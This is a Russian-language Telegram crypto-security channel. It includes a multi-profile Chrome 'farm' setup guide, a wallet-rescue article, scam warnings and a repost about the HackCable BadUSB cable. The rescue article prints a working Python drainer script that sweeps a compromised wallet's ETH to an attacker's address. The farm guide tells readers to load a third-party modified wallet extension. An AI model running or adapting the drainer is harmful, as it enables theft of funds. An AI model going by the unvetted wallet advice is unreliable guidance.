Pro Безопасность – Telegram
Pro Безопасность
33 subscribers
37 photos
1 video
41 links
Безопасность в интернете; web2.0 / web 3.0 /crypto projects
Download Telegram
Channel photo updated
🤫 Добро пожаловать в канал по Безопасности, здесь мы расскажем про :
🔸Безопасность в интернете в сферах web 2.0,и web 3.0
🔸Крипто безопасность, фермы, способы обезопасить себя от рисков потерять свои средства.
🔸Утилиты и софт
🔸Новости и новинки в мире безопасности
🔸Статьи и мануалы по безопасности
🔸 ...
Please open Telegram to view this post
VIEW IN TELEGRAM
Несколько дней тому назад (25.01.2025г.) взломали ADS Power. Инфо шума по этому поводу было много и в каждой группе кто то потерял свои средства. Этот момент еще раз говорит о базовой подготовке, и о ваших способностях, чтобы противостоять хакеру или не быть скомпрометированным.
🔝Создаем Google Farm взамен AdsPower и другим антикам.

Повышаем свою безопасность и настраиваемся на работу через google chrome profiles.
©️Весь ликбез был взят с канала автора Darvin Notes | Meow DAO, за что ему огромное спасибо.
Информация была дополнена и добавлена на канал.

1️⃣ Скачиваем официальный google chrome - https://www.google.com/intl/ru_ru/chrome
❗️при скачивании убираем галку с надписи - отправка автоматической статистики - отправлять мы ее не будем.
2️⃣ Устанавливаем Google Chrome и создаем профили: жмем на иконку человечка справа и в выпадающем меню снизу выбираем - добавить профиль
❗️ Когда высветится окно, выбираем - продолжить без входа в аккаунт
3️⃣ Создаем необходимое количество профилей.
В настройках каждого из профилей выполняем настройки:
в адресной строке пишем:
◽️chrome://settings/syncSetup
и отключаем ползунок с - Разрешить вход в Chrome
◽️chrome://settings/manageProfile - можно создать ярлык на раб стол
◽️менеджер паролей - удаляем если есть сохраненные ранее пароли
◽️chrome://password-manager/settings - убираем ползунок с - Предлагать сохранение паролей и ключей доступа
и убираем ползунок с - Автоматический вход
◽️chrome://settings/onStartup - Запуск Chrome - Выбираем - ранее открытые вкладки.
◽️chrome://settings/content/automaticDownloads - Ставим запрет на автоматическое скачивание
◽️chrome://settings/downloads - Включаем опцию "всегда спрашивать куда сохранять файл"
4️⃣ Скачиваем модифицированный Rabby Wallet от Darvin,
🫡 через него нельзя угнать сид фразу или приватный ключ.
Скачиваем и Распаковываем файл с Github dist.zip
В Google Chrome, в необходимом нам профиле, пишем:
◽️chrome://extensions - включаем сверху справа ползунок - режим разработчика.
Выбираем сверху слева - Загрузить распакованное расширение и выбираем распакованное ранее в папку расширение с модифицированным Rabby Wallet от Darvin (version - Rabby Wallet 0.92.58)

#Ферма
Канал CryptoHooligansЧат
Please open Telegram to view this post
VIEW IN TELEGRAM
Продолжаем настройку Google Farm Profiles:

5️⃣ Создаем новый кошелек:
На соседнем устройстве скачиваем Rabby wallet официальная ссылка - rabby.io
Ждем пока установиться расширение.
❗️Отключаем физически интернет ❗️
Выбираем создание нового кошелька и записываем SEED фразу в бумажный блокнот.
❗️ Не включая интернет входим в rabby Wallet и копируем PrivateKey на флешку.
🔹Запускаем командную строку CMD для очистки буфера обмена: в Cmd пишем команду - echo off | clip либо cmd/c echo off | clip
Для очистки буфера есть специальные утилиты - Clear Clipboard, GuardBuferCleaner, ClipTTL
🔹Удаляем расширение Rabby Wallet и включаем интернет для дальнейших действий.
На ПК, где установлен модифицированный Rabby Wallet -
❗️физически отключаем интернет ❗️
Запускаем Rabby Wallet и выбираем войти по Приватному ключу -
Запросит установку пароля на вход - устанавливаем сложный и надежный пароль со спец символами, большими и маленькими буквами, от 10 символов и больше. С флешки копируем Private key в модифицированный Rabby Wallet.
🔹Запускаем командную строку CMD для очистки буфера обмена: в Cmd пишем команду - echo off | clip либо cmd/c echo off | clip
Проверяем, что кошелек подгрузился. Включаем интернет.
6️⃣ Устанавливаем дополнения:
♦️UPD - Более не доступен в Google play market - Proxy SwitchyOmega - для того чтобы прописать свой Proxy: https://chromewebstore.google.com/detail/proxy-switcyomega/padekgcemlokbadohgkifijomclgjgif
После установки пропускаем гайд по настройке, закрепляем расширение. Переходим из главного меню в пункт Profiles\Proxy и вбиваем данные прокси, логин и пароль спрятаны за пиктограммой замка.
Переходим из главного меню во вкладку Interface и выбираем Startup Profile\Proxy Переходим из главного меню во вкладку General и отключаем первую галку - Show count of failed web requests for resources in the current tab.

Устанавливаем Proxy-Cheap Proxy Manager
Проверяем прокси - Закрываем браузер и снова запускаем его - Открываем ресурс - https://2ip.ru / whatismyipaddress.com и сравниваем полученный IP с нашим IP из прокси (должны быть идентичны)
а также можно проверить - если расширение горит синим цветом - значит прокси работает.
7️⃣Подмена железа:
♦️User-Agent профиля - скачиваем расширение - Random User-Agent (Switcher).

#Ферма
Канал CryptoHooligansЧат
Please open Telegram to view this post
VIEW IN TELEGRAM
⬆️⬆️⬆️⬆️⬆️

🫠 Важный момент, если у вас уже сидит зловред на компьютере, то то что вы отключали интернет и чистили буфер обмена вам не поможет. Данные также утекут в сеть при первом включении интернета.
🧐Вы Должны быть уверены, что у вас девственно чистая операционная система, в противном случае лучше ее переустановить и обновить протоколы безопасности до актуальной даты.
Please open Telegram to view this post
VIEW IN TELEGRAM
🫥 How to AntiDrain | Спасаем средства из скомпрометированного кошелька
Автор статьи канал cppmyk.inc.

1️⃣ Введение:
В криптовалютном сообществе частенько можно наткнуться на людей, у которых украли приватный ключ или сид-фразу от одного или нескольких кошельков. Обычно в таком случае кошелек моментально лишается содержимого, но бывает и иначе, когда хакер не выводит все средства из кошелька которые, например, лежат в лендинговом протоколе или же пока еще не доступны для получения в случае дропов.

Задача по возвращению оставшихся средств со взломанного кошелька, хоть и кажется на первый взгляд довольно простой, на деле является практически невыполнимой для рядового пользователя. Виной тому запущенный дрейнер, который ворует с кошелька жертвы нативный токен сети, как только она пытается перевести его для оплаты комиссии.

Для человека, сколько-нибудь подкованного в программировании, разобраться с вышеупомянутой проблемой не представляет особой сложности, если он знаком с алгоритмом решения.

В данной статье мы разберем, что из себя представляет дрейнер и как с ним бороться. Иными словами, предоставим алгоритм спасения средств из скомпрометированного кошелька и его реализацию на языке Python.

Все примеры будут разобраны на блокчейне Ethereum.
Код на GitHub: link.
2️⃣ Дрейнер:
Дрейнер (drainer/sweeper) — программное обеспечение, которое постоянно следит за изменениями баланса кошелька жертвы и ворует средства сразу после их поступления на счет, тем самым препятствуя попыткам жертвы забрать оставшиеся активы.

В большинстве случаев реализация такого софта достаточно примитивная и не требует глубокого понимания работы блокчейна. Один из вариантов разберем далее.


Алгоритм.
Начнем с алгоритма:

Следим за появлением нового блока.
Проверяем баланс кошелька жертвы.
Если хватает нативного токена для оплаты комиссии трансфера, воруем деньги с кошелька.
Переходим к пункту 1.

Реализация:
import time

from eth_account import Account
from eth_account.datastructures import SignedTransaction
from eth_account.signers.local import LocalAccount
from eth_typing import ChecksumAddress
from hexbytes import HexBytes
from web3 import Web3
from web3.types import Wei, TxParams

ETH_HTTP_URL: str = 'https://eth.llamarpc.com'
ETH_CHAIN_ID: int = 1

COMPROMISED_KEY: str = "private_key"

HACKER_ADDRESS: ChecksumAddress = Web3.to_checksum_address('address')
TRANSFER_GAS_LIMIT: int = 21000

w3: Web3 = Web3(Web3.HTTPProvider(ETH_HTTP_URL))
compromised: LocalAccount = Account.from_key(COMPROMISED_KEY)


def sweep() -> None:
gas_price: Wei = w3.eth.gas_price
account_balance: Wei = w3.eth.get_balance(compromised.address)

if account_balance < gas_price * TRANSFER_GAS_LIMIT:
return

transaction: TxParams = {
'chainId': ETH_CHAIN_ID,
'from': compromised.address,
'to': HACKER_ADDRESS,
'value': account_balance - (gas_price * TRANSFER_GAS_LIMIT),
'nonce': w3.eth.get_transaction_count(compromised.address),
'gas': TRANSFER_GAS_LIMIT,
'gasPrice': gas_price
}

signed: SignedTransaction = compromised.sign_transaction(transaction)

tx_hash: HexBytes = w3.eth.send_raw_transaction(signed.rawTransaction)
w3.eth.wait_for_transaction_receipt(tx_hash)

print(f'Sweep transaction: {tx_hash.hex()}')


def main() -> None:
block_filter = w3.eth.filter('latest')
interval = 1

while True:
for block_hash in block_filter.get_new_entries():
block = w3.eth.getBlock(block_hash)
print(f"New Block: {block.number}")
sweep()
time.sleep(interval)
Please open Telegram to view this post
VIEW IN TELEGRAM
if name == 'main':
main()
Такой неказистой реализации уже достаточно, чтобы среднестатистический пользователь бросил попытки спасения своих средств, так как вручную он это вряд ли сможет сделать.
Дрейнеры, разумеется, могут быть более изощренными. Например, они могут следить за пулом неподтвержденных транзакций с целью поиска взаимодействий с кошельком жертвы и более надежного предотвращения вывода активов. Но любые подобные реализации не могут ничего сделать против приватных пулов, которые мы рассмотрим далее.
3️⃣Спасаем средства:
Мы уже поняли, что руками противостоять sweeper-боту — не лучшая затея. Поэтому попытаемся автоматизировать процесс спасения средств.

Для начала рассмотрим технологии, которые будут полезны для наших задач, затем разберем алгоритм и его реализацию на Python, после чего увидим результат на Etherscan.
Приватные пулы.
Ключевым элементом в борьбе с хакером является использование приватных пулов. Что же это такое?

При стандартном использовании сети пользователи отправляют подписанные транзакции нодам блокчейна, которые, в свою очередь, сохраняют их в структуре TxPool и начинают распространять между всеми подключенными пирами. Это делает мемпул полностью публичным и доступным каждому участнику сети, с некоторыми оговорками (частные ноды все-таки не имеют доступа ко всем неподтвержденным транзакциям из-за особенностей реализации).
Публичность дает возможность хакеру анализировать и фронтранить транзакции (ставить более высокий gas, за счет чего изменять свое положение в блоке), что будет мешать нам при попытке спасения средств.
Тут на помощь приходят приватные пулы, дающие следующие возможности:

Отправка транзакции в обход публичного мемпула.
Упаковка транзакций в так называемые бандлы (bundle, несколько транзакций в определенной последовательности).
Избегание оплаты за провалившиеся транзакции (они либо включены в блок и выполнены успешно, либо не включены вовсе, если пользователь явно не указал, что допускает фейл некоторых транзакций).

Идея работы приватных пулов:
Пользователь отправляет одну или несколько транзакций (bundle) Builder-у блоков.
Builder создает самый оптимальный блок из доступных транзакций.
Builder отправляет блок в Relay.
Relay, получивший много возможных блоков от различных Builder-ов, выбирает среди них самый оптимальный.
Relay отправляет блок Validator-у.
Validator, получивший блоки от различных Relay-ев, выбирает самый оптимальный.
Validator создает блок (если сейчас его очередь).
Схематически это выглядит примерно так: 1 и 2

Алгоритм.
Для примера представим следующую ситуацию: приватный ключ от нашего кошелька был украден, с баланса был выведен весь эфир, но при этом осталось некоторое количество ERC-20 токенов WETH, которые мы хотим вернуть себе.

Введем следующие обозначения:

Rescuer — кошелек-донор, с которого мы будем отправлять средства для покрытия комиссии на скомпрометированном аккаунте.
Compromised — кошелек, который был взломан хакером и контролируется дрейнером.
Теперь, когда мы узнали о приватных пулах, алгоритм спасения средств предельно прост:

Формируем бандл:
Депозит ETH для покрытия комиссии с кошелька Rescuer.
Взаимодействие с контрактом WETH и трансфер средств с Compromised на Rescuer.
Симулируем выполнение бандла через онлайн-симулятор (опционально, чтобы проверить его корректность).
Отправляем бандл билдеру.
Ждем включения в блок.
Если наш бандл является достаточно привлекательным для потенциального валидатора с точки зрения прибыльности (награда либо через комиссию, либо прямой перевод средств на его адрес), то мы с высокой вероятностью попадем в блок.

Следует также учитывать, какому билдеру вы отправляете, так как с некоторыми придется ждать включения в блок продолжительное время.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Реализация.
from eth_account.datastructures import SignedTransaction
from eth_typing import ChecksumAddress, BlockNumber
from flashbots import flashbot
from web3 import Web3, HTTPProvider
from eth_account.account import Account
from eth_account.signers.local import LocalAccount
from web3.contract import Contract
from web3.exceptions import TransactionNotFound
from web3.types import TxParams, Wei

from erc20_abi import ERC20_ABI

RESCUER_KEY: str = ""
COMPROMISED_KEY: str = ""
FLASHBOTS_KEY: str = ""

ETH_CHAIN_ID: int = 1
ETH_HTTP_URL: str = 'https://eth.llamarpc.com'

WETH_CONTRACT_ADDRESS: ChecksumAddress = Web3.to_checksum_address('0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2')
WETH_TRANSFER_GAS_LIMIT: int = 100000
ETH_TRANSFER_GAS_LIMIT: int = 21000

WETH_AMOUNT_TO_RESCUE: Wei = Web3.to_wei(0.001, 'ether')

rescuer: LocalAccount = Account.from_key(RESCUER_KEY)
compromised: LocalAccount = Account.from_key(COMPROMISED_KEY)
signer: LocalAccount = Account.from_key(FLASHBOTS_KEY)

w3: Web3 = Web3(HTTPProvider(ETH_HTTP_URL))
flashbot(w3, signer)


def build_erc20_transfer_transaction(sender_address: ChecksumAddress, destination_address: ChecksumAddress,
amount: Wei, gas_price: Wei, nonce: int) -> TxParams:
contract: Contract = w3.eth.contract(address=WETH_CONTRACT_ADDRESS, abi=ERC20_ABI)

tx: TxParams = contract.functions.transfer(destination_address, amount).build_transaction(
{
'from': sender_address,
'gas': WETH_TRANSFER_GAS_LIMIT,
'gasPrice': gas_price,
'nonce': nonce
}
)

return tx


def build_send_transaction(destination_address: ChecksumAddress, amount: Wei, gas_price: Wei, nonce: int) -> TxParams:
tx: TxParams = {
'to': destination_address,
'value': amount,
'gas': ETH_TRANSFER_GAS_LIMIT,
'gasPrice': gas_price,
'nonce': nonce,
'chainId': ETH_CHAIN_ID
}

return tx


def main():
print(f'Rescuer address: {rescuer.address}')
print(f'Compromised address: {compromised.address}')
print('-' * 100)

gas_price: Wei = w3.eth.gas_price
eth_to_cover_transfer: Wei = Wei(gas_price * WETH_TRANSFER_GAS_LIMIT)

rescuer_nonce: int = w3.eth.get_transaction_count(rescuer.address)
deposit_tx: TxParams = build_send_transaction(compromised.address, eth_to_cover_transfer, gas_price, rescuer_nonce)
deposit_tx_signed: SignedTransaction = rescuer.sign_transaction(deposit_tx)

compromised_nonce: int = w3.eth.get_transaction_count(compromised.address)
weth_transfer_tx: TxParams = build_erc20_transfer_transaction(compromised.address, rescuer.address,
WETH_AMOUNT_TO_RESCUE, gas_price, compromised_nonce)
weth_transfer_tx_signed: SignedTransaction = compromised.sign_transaction(weth_transfer_tx)

bundle = [
{'signed_transaction': deposit_tx_signed.rawTransaction},
{'signed_transaction': weth_transfer_tx_signed.rawTransaction},
]

while True:
block: BlockNumber = w3.eth.block_number

print(f'Simulating on block {block}')
try:
w3.flashbots.simulate(bundle, block)
print('Simulation successful.')
print()
except Exception as e:
print("Simulation error", e)

print(f"Sending bundle targeting block {block + 1}")

send_result = w3.flashbots.send_bundle(
bundle,
target_block_number=block + 1
)
print("bundleHash", w3.toHex(send_result.bundle_hash()))

stats_v2 = w3.flashbots.get_bundle_stats_v2(
w3.toHex(send_result.bundle_hash()), block
)
print("bundleStats v2", stats_v2)

try:
receipts = send_result.receipts()
print(f"Bundle was mined in block {receipts[0].blockNumber}")
break
except TransactionNotFound:
print(f"Bundle not found in block {block + 1}")
print('-' * 100)

print('Finished')
👍1
if name == "main":
main()
FLASHBOTS_KEY — это приватный ключ, который используется для подписания бандла. Он не обязан соответствовать какому-то реальному кошельку. Flashbots использует этот механизм в своей системе репутации пользователей.

Результат работы:
Что ж, проверим на практике.
Подождав некоторое время, бандл был включен в блок 19924093.
Транзакция с кошелька-донора (11-е место в блоке) - link.
Транзакция со скомпрометированного кошелька (12-е место в блоке) - link.
Как мы видим, транзакции были включены друг за другом, как мы и хотели. А кроме того, прошли в обход публичного пула транзакций, следовательно хакер бы их не увидел.

#Антидрейнер
Канал CryptoHooligansЧат
🛡 Как распознать мошенников, пока не стало поздно?

Мы запускаем рубрику #безопасность, где будем разбирать популярные схемы мошенничества. Цель рубрики — помочь вам защитить свои данные и избежать неприятностей 🛡

Начнём с простого: представьте, что вам написал знакомый с просьбой проголосовать за него в каком-нибудь конкурсе. К сообщению заботливо прикреплена ссылка, перейдя по которой можно оставить свой голос. Нажав на неё, вас перебросит на экран авторизации Telegram, где предложат ввести свои данные: номер телефона, код авторизации и ваш облачный пароль (вы же его установили, верно?). Кажется, что всё в порядке? 👏

Не совсем. Сделав это, вы предоставите доступ к своему Telegram аккаунту мошенникам. Проголосовать, разумеется, не выйдет — скорее всего, вас просто перебросит обратно в диалог с жуликом 🫵

Как это работает? Мошенники создают поддельный интерфейс мессенджера, который выглядит как настоящий. Как только вы введёте в нём свои данные, они сразу окажутся в руках мошенника.


Что происходит дальше?

Мошенники не всегда действуют сразу. Они незаметно просматривают ваши чаты в поисках конфиденциальной информации — паролей (которые вы, возможно, храните в «Избранном»), личных сообщений и других чувствительных данных. Эти сведения могут быть использованы для доступа к вашим аккаунтам в социальных сетях или финансовых приложениях. Найдя необходимое, мошенник просто «выбросит» вас из аккаунта и начнёт отправлять вашим контактам те же сообщения, которые получили вы. Именно так и попался ваш знакомый и именно так мошенники распространяют эту схему 🐈‍⬛

Как от этого защититься?

● Никогда не вводите данные от своего Telegram нигде, кроме официальных приложений.
● Если вам предлагают ввести ваши данные на каком-то сайте — стоит немедленно его покинуть (особенно, если вы уже залогинены в Telegram).
● Не храните пароли в «Избранном». Это небезопасно.

Следуя этим правилам вы значительно снизите риск попасть в ловушку. Берегите себя 🛡
Please open Telegram to view this post
VIEW IN TELEGRAM
1
🦣 Лох не мамонт, не вымрет или надежда умирает последней, забирая с собой веру и любовь в крипту 😄

В одной из групп был замечен пост про запуск проекта NEKO on BASE и раздачу токена $NEKO.
Требовалось выполнить несколько простых заданий в ТГ боте:
подписаться на 3 группы, написать NEKO TO MOON и указать адрес своего кошелька. Что может быть проще ? За эти действия вам начислялось 1000 $NEKO и за каждого приглашенного реферала добавляли по 1000 $NEKO.
Таким образом люди приглашая своих друзей и знакомых получали по 10000-50000 $NEKO.
Свой токен "команда" ⁉️ Сразу оценила в 0,03$ (Звучит заманчиво, сыр положен, ждем мышь) - сразу 🏴‍☠️ ред флаг, произвести оценку токена без предварительного листинга или размещения где либо ликвидности - обманка.
Твиттер также был создан буквально месяц назад, что вызывало дополнительные подозрения. На сайте VirusTotal также была отметка о Phishing sait - еще 🏴‍☠️ ред флаг. Но мы идем дальше, жажда легких денег никогда и никого и никого не останавливала.

Далее вы в ТГ боте нужно было нажать вывод на кошелек, указать свой адрес и вам отправляли ваши заветные токены прямо к вам на кошелек, красиво и просто, хомячек видит их на своем кошельке и думает о легких деньгах.
Проект обещал сделать свой DEX для обмена токена на сайте, указав, что такого то числа в 10 ч ожидайте, все будет! И ведь люди ждали...
В назначенный час X на сайте ничего не произошло, в Тг чате заблокировали возможность отправлять сообщения - еще один 🏴‍☠️ ред флаг! (Бывает так делают, чтобы люди не спамили в группу одними и теми же вопросами, когда же вы уже запустите DEX? Но это не наш случай.) После 20-30 минут ожидания в ТГ группе админ написал что приносим свои извинения, и все будет, но через час, подождите... Прошел час, ничего не поменялось, кроме измененного сообщения уже на 2ч :) Примерно через 2,5-3ч томления хомячков админ выкладывает пост, что якобы поступило много запросов о том, что люди не успели в отведенный ранее срок запросить вывод своих драгоценных токенов на кошельки (интересно каким образом они писали в группу, где заблокировали возможность это делать? Дискорда у них нет и в X сообщений тоже не было) - 🏴‍☠️ред флаг! И они такие хорошие дают возможность сделать вывод всем, кто не успел это сделать ранее, подогревая интерес, что все будет, просто ждите анонсов.
Затем спустя 7-8ч томления админ пишет в группе что все практически готово, вывод на кошельки снова закрыт, ожидайте запуска DEX. Проходит еще 2 ч, хомячки начинают терять терпение и вуаля админ резко переобувается и выкладывает пост как произвести обмен через ТГ бота! ❗️Фиаско! Бот при функции обмена просит указать ваш адрес кошелька с полученными ранее токенами и что якобы за 14000 $NEKO вы получите 420$ (0.03 за токен), но вы должны отправить нам на адрес на комиссии 6, хотя в BASE сети это стоит копейки.... - последний 🏴‍☠️ ред флаг!
и после того как вы нам все отправите мы отправим вам USDT в течении 72ч на ваш кошелек😳
Кошелек предприимчивого мошонника - и ведь люди отсылали свои деньги (300$ уже им удалось получить в свой карман), надеясь до последнего, что им удастся получить свой профит, да, жажда наживы часто затмевает светлый взор и растворяет трезвость ума...

Подведем итоги:
часто пишут о помойных постах и проектах в ТГ, убедились еще раз, что из них 99% - это развод. Всегда нужно смотреть трезвым взглядом, без розовых очков, не терять бдительность и не игнорировать ред флаги. Похожие случаи есть, когда на сайте зашивают дрейнер и при подключении вашего кошелька все средства улетают на адрес фокусника, тут даже не удосужились напрячься созданием такового, а просто написали ТГ бота... Затраты копеечные, профит хоть и небольшой, но уже есть, если бы не жадничали и например запросили 0,6 $ за комиссии - то людей было бы гораздо больше кто отправил бы им на покушать. (пример 50000 по 0,6$ - профит 30000$).
❗️Никогда не теряйте голову из за "легких" денег, будьте благоразумны и берегите себя.

#Безопасность #РазводНаДеньги

Канал CryptoHooligansЧат
Please open Telegram to view this post
VIEW IN TELEGRAM
👍2💯1
😈 «Злой провод» HackCable собрал 50000 евро на Kickstarter.
HackCable — устрой­ство с Kickstarter, которое выг­лядит как обыч­ный про­вод, но скрывает целый арсе­нал для этич­ного хакин­га: инъ­екции нажатий кла­виш, Wi-Fi-управле­ние через смар­тфон и пол­ный кон­троль над целевым устрой­ством. Все это в фор­мате при­выч­ного заряд­ного кабеля, который не прив­лечет вни­мания даже самого парано­идаль­ного адми­на.

Пе­реход­ник с USB-A на USB-C — самая обыч­ная вещь в наше вре­мя. Но что, если этот кабель уме­ет не толь­ко заряжать смар­тфон или переда­вать дан­ные, но и перех­ватывать нажатия кла­виш, а еще сам иног­да ста­новит­ся кла­виату­рой и что‑то печата­ет? Встре­чай HackCable — про­ект, который уже наб­рал на Kickstarter необ­ходимую для про­изводс­тва сум­му и готовит­ся к выпус­ку. Сбор средств офи­циаль­но зак­роет­ся в суб­боту, 16 фев­раля.
Ка­бель вый­дет в двух вер­сиях: с модулем Wi-Fi на базе ESP32 для уда­лен­ного перех­вата и в вари­анте с чипом RP2040 для локаль­ных задач. Обе модифи­кации под­держи­вают Python и работа­ют с устрой­ства­ми на Windows, macOS, Linux, Android и iOS.
Обе вер­сии исполь­зуют один прин­цип — пред­став­ление себя как HID-устрой­ство. Это поз­воля­ет вво­дить коман­ды нап­рямую, обхо­дя анти­виру­сы и сис­темы обна­руже­ния.
Пред­полага­ется, что HackCable будет неот­личим от обыч­ного переход­ника с USB-A на USB-C.

Обычная версия (RP2040)
Про­цес­сор: двухъ­ядер­ный ARM Cortex-M0+ с так­товой час­тотой до 133 МГц
Па­мять: 2 Мбайт встро­енной QSPI Flash и 264 Кбайт SRAM
Пор­ты вво­да‑вывода: пол­носко­рос­тная под­дер­жка USB 1.1 в режиме хос­та и устрой­ства, 26 мно­гофун­кци­ональ­ных GPIO-пинов
Циф­ровые интерфей­сы: один интерфейс I2C, два интерфей­са SPI, два интерфей­са UART и под­дер­жка PWM на боль­шинс­тве GPIO-пинов
HackCable на базе RP2040 работа­ет авто­ном­но и не зависит от внеш­них под­клю­чений. Сна­чала поль­зователь заг­ружа­ет на кабель под­готов­ленные скрип­ты через компь­ютер. Скрип­ты могут быть на Python или на дру­гом под­ходящем язы­ке. Эти скрип­ты опи­сыва­ют пос­ледова­тель­ность команд, которые кабель будет вво­дить при под­клю­чении к целево­му устрой­ству.

Ког­да кабель встав­ляют в порт USB-C, устрой­ство рас­позна­ёт его как кла­виату­ру и поз­воля­ет скрип­там «нажимать» кноп­ки нап­рямую, не вызывая подоз­рений у сис­темы или анти­виру­сов. HackCable пос­ледова­тель­но выпол­няет задан­ные дей­ствия: нап­ример, откры­вает тер­минал, вво­дит коман­ды для про­вер­ки сетевых нас­тро­ек или демонс­три­рует потен­циаль­ные уяз­вимос­ти сис­темы.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1🤯1
Бла­года­ря встро­енно­му чипу RP2040 кабель дей­ству­ет как авто­ном­ный пен­тест‑агент: он не тре­бует Wi-Fi, не зависит от сто­рон­них при­ложе­ний и всег­да выпол­няет ров­но тот сце­нарий, который был заг­ружен заранее. Такой под­ход дела­ет устрой­ство надеж­ным и пред­ска­зуемым — оно прос­то выпол­няет свою прог­рамму сра­зу пос­ле под­клю­чения, без необ­ходимос­ти какого‑либо вме­шатель­ства.

Версия с Wi-Fi на ESP32
Про­цес­сор: двухъ­ядер­ный мик­рокон­трол­лер Xtensa LX7
Так­товая час­тота: до 240 МГц
Wi-Fi: встро­енный модуль Wi-Fi 2,4 ГГц (802.11b/g/n)
Bluetooth: встро­енный Bluetooth 5 (LE) с под­дер­жкой энер­гоэф­фектив­ной и надеж­ной переда­чи дан­ных
Здесь все ана­логич­но вер­сии на RP2040 с той раз­ницей, что есть под­дер­жка Wi-Fi. Модуль ESP32 соз­дает свою точ­ку дос­тупа, мож­но под­клю­чить­ся к ней с любого устрой­ства — смар­тфо­на, план­шета или ноут­бука — и управлять уда­лен­но через веб‑интерфейс. В интерфей­се дос­таточ­но ввес­ти коман­ды или заг­рузить скрипт, пос­ле чего HackCable нач­нет переда­вать коман­ды в целевую сис­тему.
Это дает воз­можность работать на рас­сто­янии. Еди­нож­ды вста­вив кабель в устрой­ство, мож­но под­клю­чать­ся к нему по Wi-Fi в любое вре­мя, пока устрой­ство оста­ется вклю­чен­ным. При необ­ходимос­ти мож­но задей­ство­вать нес­коль­ко таких кабелей, син­хро­низи­ровав их для одновре­мен­ной работы через режим мас­тер — слейв.
То есть если в рам­ках ред­тимин­га или физичес­кого пен­теста нам уда­лось про­ник­нуть на объ­ект, то дос­таточ­но вот­кнуть пару таких про­водов тут и там, и всё — счи­тай, зак­репились на перимет­ре. Можем сидеть нап­ротив окон офи­са на лавоч­ке, попивать из тер­моса кофе­ек и шарить­ся по внут­ренней сети.

Альтернативы
HackCable — не пер­вый про­ект такого рода. На рын­ке уже есть нес­коль­ко про­ектов и устрой­ств, которые выпол­няют схо­жие задачи. Вот некото­рые из них.

USB Rubber Ducky (Hak5). Это, пожалуй, самый извес­тный инс­тру­мент в области тес­тирова­ния безопас­ности. Rubber Ducky мас­киру­ется под обыч­ную USB-кла­виату­ру, но может запус­кать зап­рограм­мирован­ные сце­нарии атак, нап­ример для тес­тирова­ния уяз­вимос­тей в сис­темах.
O.MG Cable (Hak5). Кабель, внеш­не неот­личимый от стан­дар­тно­го USB, но спо­соб­ный перех­ватывать дан­ные, запус­кать полез­ные наг­рузки и даже управлять­ся уда­лен­но через Wi-Fi. O.MG Cable стал сво­его рода эта­лоном в области аппа­рат­ного пен­тестин­га.
ESPKey. Это устрой­ство исполь­зует чип ESP8266 для перех­вата сиг­налов от сис­тем кон­тро­ля дос­тупа. Оно популяр­но сре­ди иссле­дова­телей безопас­ности, работа­ющих с RFID-сис­темами.
WHID Injector (Wi-Fi HID Injector). Гад­жет, спо­соб­ный эму­лиро­вать кла­виату­ру и мышь через Wi-Fi. При­меня­ется в ауди­те безопас­ности, что­бы про­верить устой­чивость сис­темы к ата­кам, ког­да зло­умыш­ленник не име­ет физичес­кого дос­тупа.
P4wnP1 — аль­тер­натив­ный про­ект на базе Raspberry Pi Zero, уме­ющий мно­гие вещи, вклю­чая эму­ляцию HID-устрой­ств, MITM-ата­ки и мно­гое дру­гое.
Так­же ата­ки BadUSB мож­но про­водить нап­рямую со смар­тфо­на. Как имен­но — читай в стать­ях «Ки­бер­фон. Прев­раща­ем телефон на Android в инс­тру­мент хакера» и «Прод­винутый кибер­фон. Заряжа­ем телефон хакер­ской силой».

Цены
Вер­сию HackCable с Wi-Fi на Kickstarter мож­но пред­заказать за 59 дол­ларов. Два Wi-Fi-кабеля обой­дут­ся в 115 дол­ларов, а ком­плект из четырех — в 225 дол­ларов.

Вер­сия на RP2040 сто­ит 49 дол­ларов по спец­пред­ложению. Два таких кабеля сто­ят 95 дол­ларов, а четыре — 185 дол­ларов.

Так­же есть ком­биниро­ван­ный набор, который вклю­чает один Wi-Fi-кабель и один RP2040, за 90 дол­ларов.
⛔️ warning
Пом­ни, что Kickstarter — не интернет‑магазин. Даже если про­ект наб­рал нуж­ное количес­тво денег и ты успел заказать устрой­ство, это не зна­чит, что оно при­дет вов­ремя или вооб­ще при­дет. Ты все­го лишь учас­тву­ешь в кра­удфандин­ге, и воз­можны как задер­жки, так и пол­ный про­вал про­екта, пос­ле чего день­ги могут и не вер­нуть.

Доступность
HackCable пла­ниру­ют запус­тить в шесть эта­пов с янва­ря по май 2025 года. Пер­вый этап — сбор средств, он завер­шится в середи­не фев­раля. Пос­ле это­го, с фев­раля по март 2025 года, коман­да зай­мет­ся закуп­кой ком­плек­тующих для про­изводс­тва.
Мас­совое про­изводс­тво зап­ланиро­вано на пери­од с мар­та до начала апре­ля 2025 года. В апре­ле будет про­ходить тес­тирова­ние и упа­ков­ка готовой про­дук­ции. Наконец, дос­тавка устрой­ств нач­нется в мае 2025 года, и на этом про­ект дос­тигнет сво­ей цели. Ско­рее все­го, HackCable мож­но будет купить и потом — без рис­ков, но по боль­шей цене.
Раз­работ­чики обе­щают открыть исходни­ки, одна­ко что имен­но будет откры­то (схе­мы, про­шив­ка или толь­ко софт), пока что не уточ­няет­ся.

Статья с журнала Хакер

#Безопасность #Взлом

Канал CryptoHooligansЧат
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1